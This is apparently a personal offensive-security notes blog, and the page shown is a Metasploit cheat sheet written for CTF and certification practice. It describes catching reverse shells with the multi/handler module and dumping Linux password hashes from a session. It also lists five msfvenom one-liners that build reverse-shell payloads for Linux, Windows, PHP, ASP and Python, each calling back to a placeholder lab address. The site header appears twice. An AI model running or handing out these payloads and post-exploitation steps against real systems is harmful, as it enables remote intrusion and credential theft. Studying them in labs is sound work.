boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Metasploit

Generating standalone payloads with msfvenom and catching them with Metasploit.

Workflow

  1. msfvenom -l payloads lists all payloads for msfvenom.
  2. Use the msf multi handler to catch the reverse shell: use exploit/multi/handler.
  3. Background sessions with ctrl+z and load the session into another module such as use post/linux/gather/hashdump, then set SESSION <id> and exploit to run a hashdump on Linux systems. A similar method can be deployed on Windows.

When editing non-exe payloads with gedit, double check that sections are not commented out or missing opening/closing syntax like <?PHP ?>.

Payload One-Liners

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf   # Linux (elf)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe      # Windows
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php           # PHP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp        # ASP
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py                 # Python